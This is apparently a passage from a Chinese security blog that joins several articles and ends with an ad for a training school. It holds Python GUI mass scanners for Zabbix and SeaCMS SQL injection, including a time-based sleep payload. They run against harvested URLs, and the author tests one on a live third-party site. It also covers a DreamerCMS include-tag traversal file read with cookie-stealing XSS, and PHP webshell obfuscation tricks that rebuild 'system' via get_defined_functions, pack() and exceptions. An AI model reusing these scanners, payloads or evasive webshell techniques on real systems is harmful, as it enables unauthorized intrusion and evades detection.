with open ("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:
f.write(url + "\n")
else:
target_url = url + '/zabbix/' + poc
res = requests.get(url=target_url,verify=False)
for i in range(len(status_str)):
if status_str[i] in res.text:
zabbix_sql.insert(END, "【*】存在漏洞的url:" + url + "\n")
zabbix_sql.see(END)
with open("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:
f.write(url + "\n")
else:
zabbix_sql.insert(END, "【×】不存在漏洞的url:" + url + "\n")
zabbix_sql.see(END)
except Exception as err:
zabbix_sql.insert(END, "【×】目标请求失败,报错内容:" + str(err) + "\n")
zabbix_sql.see(END)
def get_zabbix_addr():
with open("url.txt","r") as f:
for address in f.readlines():
address = address.strip()
yield address
def zabbix_sql_gui():
zabbix_sql_poc = tk.Tk()
zabbix_sql_poc.geometry("910x450")
zabbix_sql_poc.title("Zabbix—SQL注入 漏洞一把梭")
zabbix_sql_poc.resizable(0, 0)
zabbix_sql_poc.iconbitmap('logo.ico')
global zabbix_sql
zabbix_sql = scrolledtext.ScrolledText(zabbix_sql_poc,width=123, height=25)
zabbix_sql.grid(row=0, column=0, padx=10, pady=10)
zabbix_sql.see(END)
addrs = get_zabbix_addr()
max_thread_num = 30
executor = ThreadPoolExecutor(max_workers=max_thread_num)
for addr in addrs:
future = executor.submit(zabbix_sql_exp, addr)
zabbix_sql_poc.mainloop()
大概的架构就是访问地址,发送 paylaod,然后对应利用成功和失败的特征进行鉴定,然后就是最后的 gui 模块
因此我们可以对应的写出一个脚本,我按照我的漏洞写出的脚本如下
import requests
import time
import tkinter as tk
from tkinter import scrolledtext
from concurrent.futures import ThreadPoolExecutor
from ttkbootstrap.constants import *
# 执行SQL注入检测的函数
def sql_injection_exp(url):
target = url + "/js/player/dmplayer/dmku/index.php?ac=edit"
data = {
"cid": "(select(1)from(select(sleep(6)))x)",
"text": "1",
"color": "1"
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
start_time = time.time()
try:
response = requests.post(target, data=data, headers=headers, timeout=10)
elapsed_time = time.time() - start_time
if elapsed_time > 5:
output_text.insert(END, f"【*】找到SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")
output_text.see(END)
with open("找到sql注入的url.txt", 'a') as f:
f.write(url + "\n")
else:
output_text.insert(END, f"【×】没有SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")
output_text.see(END)
except requests.exceptions.RequestException as err:
output_text.insert(END, f"【×】目标请求失败:{target},错误内容:{err}\n")
output_text.see(END)
# 获取URL地址的生成器
def get_urls():
with open('url.txt', 'r') as file:
for line in file.readlines():
yield line.strip()
# GUI界面
def sql_injection_gui():
root = tk.Tk()
root.geometry("910x450")
root.title("seacms前台sql注入")
root.resizable(0, 0)
global output_text
output_text = scrolledtext.ScrolledText(root, width=123, height=25)
output_text.grid(row=0, column=0, padx=10, pady=10)
urls = get_urls()
max_threads = 30 # 并发线程数
executor = ThreadPoolExecutor(max_workers=max_threads)
for url in urls:
future = executor.submit(sql_injection_exp, url)
root.mainloop()
然后添加好模块
可以看见是添加成功了的
实战演示
首先就是搜集 url 了,配置好了之后只需要
因为我没有 fofa 的会员,这里使用自己搜集的 url,放在一个文件里面的,如果有的话就不需要我这样操作了
然后来到你需要利用的板块
利用的效果
然后我们可以随便找个网址验证一下
进入网址效果如下,说明网址还在正常使用的
然后测试漏洞
可以看见漏洞是存在的
然后就是查权重了
这个可以一把梭哈的
精准定位文件包含漏洞:代码审计中的实战思维
前言
最近看到由有分析梦想 CMS 的,然后也去搭建了一个环境看了一看,发现了一个文件包含漏洞的点,很有意思,下面是详细的复现和分析,以后代码审计又多了一中挖掘文件包含漏洞的新思路。
环境搭建
下载https://gitee.com/iteachyou/dreamer_cms
然后各种配置都可以看到
JDK:Jdk8IDE:Spring Tool Suite 4(STS)或 IntelliJ IDEA
DB:Mysql 5.7,Windows配置安装Mysql5.7,请参考:
https://www.iteachyou.cc/article/a1db138b4a89402ab50f3499edeb30c2Redis:3.2+,Windows配置安装Redis教程,请参考:
https://www.iteachyou.cc/article/4b0a638f65fa4fb1b9644cf461dba602修改一下配置文件中的 resource-path 和 mysql 的连接
漏洞寻找过程
进入后台后发现可以编辑模板文件
然后这时候我们就需要注意常见的可以触发漏洞的点了
首先就是 xss
加入我们的 xss 代码
然后访问首页
成功 xss,当然我们真实使用的话可以利用我们的 xss 平台
这里推荐与一个
https://xssaq.com/点击配置代码后会有很多 payload,随便复制一个
这里我们简单弹个 cookie
xss 的话还是国外使用比较多
当然这样并不能达到我们 getshell 的目的
漏洞深入利用
这里就不得不提到我们的一些标签了
一般常见的我们可以尝试 include 标签
这里我们先复现一下
这个标签是 cms 的专属的标签
然后我们根据目录关系创建一个文件尝试一下
然后我们访问首页
可以看到成功了
调试分析
我们调试分析一下,抓个包看看路由
定位到代码
@Log(operType = OperatorType.UPDATE, module = "模板管理", content = "修改模板")
@PostMapping("save")
@RequiresPermissions("5n6ta53y")
public String save(TemplateVo template) throws IOException, CmsException {
String fileName = template.getPath() + File.separator + template.getFile();
File templateFile = new File(fileName);
/**
* 查询当前模版目录,判断是否为模版目录,如不是,则报错
*/
Theme currentTheme = themeService.getCurrentTheme();
String resourceDir = fileConfiguration.getResourceDir();
String themePath = resourceDir + File.separator + "templates" + File.separator + currentTheme.getThemePath() + File.separator;
themePath = themePath.replaceAll("\\*", "/");
File themeDir = new File(themePath);
// 检查当前编辑文件是否有权限
if(!templateFile.getCanonicalPath().startsWith(themeDir.getCanonicalPath())) {
throw new TemplatePermissionDeniedException(StateCodeEnum.HTTP_FORBIDDEN.getCode(), StateCodeEnum.HTTP_FORBIDDEN.getDescription(), "您没有操作权限!");
}
if(!templateFile.exists()) {
throw new TemplateNotFoundException(StateCodeEnum.HTTP_NOTFOUND.getCode(), StateCodeEnum.HTTP_NOTFOUND.getDescription(), "模板文件不存在!");
}
String filePath = template.getPath() + File.separator + template.getFile();
filePath = filePath.replaceAll("\\*", "/");
File file = new File(filePath);
FileUtils.writeStringToFile(file, template.getContent(), "UTF-8");
return "redirect:/admin/templates/toIndex";
}
这里就是就简单的写一下模板,然后重点关注解析的部分
这里有各种各样的标签
看到我们的 Include 标签
@Tag(beginTag="{dreamer-cms:include /}",endTag="{/dreamer-cms:include}",regexp="(\\{dreamer-cms:include[ \\t]+.*/\\})|(\\{dreamer-cms:include[ \\t]+.*\\}\\{/dreamer-cms:include\\})", attributes={
@Attribute(name = "file",regex = "[ \t]+file=[\"\'].*?[\"\']"),
})
格式
我们看一下解析过程
首先是解析我们的模板
识别我们的模板内容后开始解析各种标签,然后是我们的 include
public String parse(String html) {
Tag annotations = IncludeTag.class.getAnnotation(Tag.class);
Attribute[] attributes = annotations.attributes();
List<String> all = RegexUtil.parseAll(html, annotations.regexp(), 0);
if(StringUtil.isBlank(all)) {
return html;
}
String newHtml = html;
String resourceDir = fileConfiguration.getResourceDir() + "templates/";
Theme currentTheme = themeService.getCurrentTheme();
String templatePath = currentTheme.getThemePath() + "/";
String basePath = resourceDir + templatePath;
for (int i = 0; i < all.size(); i++) {
Map<String,Object> entity = new HashMap<String,Object>();
String includeTag = all.get(i);
for (Attribute attribute : attributes) {
String condition = RegexUtil.parseFirst(includeTag, attribute.regex(), 0);
if(StringUtil.isBlank(condition)) {
continue;
}
String key = condition.split("=")[0];
String value = condition.split("=")[1];
key = key.trim();
value = value.replace("\"", "").replace("\'", "");
entity.put(key, value);
}
if(entity.keySet() != null && entity.keySet().size() > 0) {
String path = basePath + entity.get("file").toString();
File includeFile = new File(path);
String includeHtml;
try {
includeHtml = FileUtils.readFileToString(includeFile, "UTF-8");
newHtml = newHtml.replaceFirst(annotations.regexp(), includeHtml);
} catch (IOException e) {
e.printStackTrace();
}
}
}
return newHtml;
}
可以目录穿越读取我们任意文件的内容
浅谈 webshell 构造之如何获取恶意函数
前言
这篇文章主要是总结一下自己学习过的 “恶意函数” 篇章,重点是在如何获取恶意函数。
get_defined_functions
(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)
get_defined_functions — 返回所有已定义函数的数组
我们主要是可以通过这个获取危险的函数
比如
比如
当然还有许多,如何执行命令就很简单了
代码如下
<?php
$a=(get_defined_functions());
$a["internal"][516]("whoami");
?>
get_defined_constants
get_defined_constants — 返回所有常量的关联数组,键是常量名,值是常量值
那获取的常量是不是可以为我们所用呢?
可以看到是有 system 关键字的,我们就可以直接去获取它的 key,然后截取不就是 system 了吗
代码如下
<?php
$a=get_defined_constants();
foreach ($a as $key => $value){
if (substr($key,0,7)=="INI_SYS"){
$x= strtolower(substr($key,4,6));
$x("whoami");
}
}
?>
自定义方法
通过自定义的方法,从毫无头绪的数字获取到 system 函数,拿出广为流传的例子
<?php
function fun($a){
$s = ['a','t','s', 'y', 'm', 'e', '/'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
现在还没有看出端倪,但是当你运行这串代码的时候
<?php
function fun($a){
$s = ['a','t','s', 'y', 'm', 'e', '/'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
echo fun(451232);
抛出异常截取字符串
这个手法也是比较特殊的
我们可以随便找一个异常类
比如 ParseError,然后再加上我们刚刚的自定义方法
ParseError 当解析 PHP 代码时发生错误时抛出,比如当 https://www.php.net/manual/zh/function.eval.php 被调用出错时。
它的一些属性和方法
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
可以看到都是基础父类的
Exception::__construct — 异常构造函数
Exception::getMessage — 获取异常消息内容
Exception::getPrevious — 返回前一个 Throwable
Exception::getCode — 获取异常代码
Exception::getFile — 创建异常时的程序文件名称
Exception::getLine — 获取创建的异常所在文件中的行号
Exception::getTrace — 获取异常追踪信息
Exception::getTraceAsString — 获取字符串类型的异常追踪信息
Exception::__toString — 将异常对象转换为字符串
Exception::__clone — 异常克隆
根据这些思路来了,我们如果能够获取报错内容,那不就是隐含的获取了恶意函数吗
代码如下
<?php
function fun($a){
$s = ['a','t','s', 'y', 'm', 'e', '/'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
$a = new ParseError(fun(451232));
echo $a->getMessage();
DirectoryIterator
The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.
它的一些方法
https://www.php.net/manual/zh/directoryiterator.construct.php — Constructs a new directory iterator from a path
https://www.php.net/manual/zh/directoryiterator.current.php — Return the current DirectoryIterator item
https://www.php.net/manual/zh/directoryiterator.getbasename.php — Get base name of current DirectoryIterator item
https://www.php.net/manual/zh/directoryiterator.getextension.php — Gets the file extension
https://www.php.net/manual/zh/directoryiterator.getfilename.php — Return file name of current DirectoryIterator item
https://www.php.net/manual/zh/directoryiterator.isdot.php — Determine if current DirectoryIterator item is '.' or '..'
https://www.php.net/manual/zh/directoryiterator.key.php — Return the key for the current DirectoryIterator item
https://www.php.net/manual/zh/directoryiterator.next.php — Move forward to next DirectoryIterator item
https://www.php.net/manual/zh/directoryiterator.rewind.php — Rewind the DirectoryIterator back to the start
https://www.php.net/manual/zh/directoryiterator.seek.php — Seek to a DirectoryIterator item
https://www.php.net/manual/zh/directoryiterator.tostring.php — Get file name as a string
https://www.php.net/manual/zh/directoryiterator.valid.php — Check whether current DirectoryIterator position is a valid file
其中大概看一下,其实
DirectoryIterator::getFilename 就有利用的可能
DirectoryIterator::getFilename — Return file name of current DirectoryIterator item
看一下官方的例子
<?php$dir = new DirectoryIterator(dirname(__FILE__));foreach ($dir as $fileinfo) { echo $fileinfo->getFilename() . "\n";}?>
以上示例的输出类似于:
.
..
apple.jpg
banana.jpg
index.php
pear.jpg
那岂不是我们如果可以控制自己的文件名或者目录,那不就构造出来了吗
代码如下
<?php
// 创建FilesystemIterator实例
$iterator = new FilesystemIterator(dirname(__FILE__));
foreach ($iterator as $item) {
// 输出文件和目录的属性
echo $item->getFilename() . "\n";
}
?>
运行结果
确实是获取到了
pack
这个函数很有意思的
pack — 将数据打包成二进制字符串
可以构造出字符串
pack(https://www.php.net/manual/zh/language.types.string.php $format, https://www.php.net/manual/zh/language.types.mixed.php ...$values): https://www.php.net/manual/zh/language.types.string.php
将输入参数打包成 format 格式的二进制字符串。
这个函数的思想来自 Perl,所有格式化代码(format)的工作原理都与 Perl 相同。但是,缺少了部分格式代码,比如 Perl 的 “u”。
注意,有符号值和无符号值之间的区别只影响函数 https://www.php.net/manual/zh/function.unpack.php,在那些使用有符号和无符号格式代码的地方 pack() 函数产生相同的结果。
看了一下大概,再看下官方的例子
这是一些它的格式
示例 #1 *pack()* 范例
<?php$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);?>
输出结果为长度为 6 字节的二进制字符串,包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。
那我们按照构造出 system 的思路
<?php
echo pack("C6", 115, 121, 115, 116, 101, 109);
echo pack("H*", "73797374656d");
?>
这两个结果都是 system
"C6" 是格式字符串,其中 C 表示将后续的六个参数视为无符号字符(即 ASCII 字符),6 表示有六个字符。
传入的参数
115, 121, 115, 116, 101, 109
是 ASCII 码值。
115 对应的字符是 s
121 对应的字符是 y
115 对应的字符是 s
116 对应的字符是 t
101 对应的字符是 e
109 对应的字符是 m
构造出来的就是 system
"H*" 是格式字符串,其中 H 表示将后续传递的参数视为十六进制字符串,* 表示任意长度。
73797374656d
是一个十六进制表示的字符串。将其转换为 ASCII 字符:
73 是 s
79 是 y
73 是 s
74 是 t
65 是 e
6d 是 m
构造出来的也是system
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

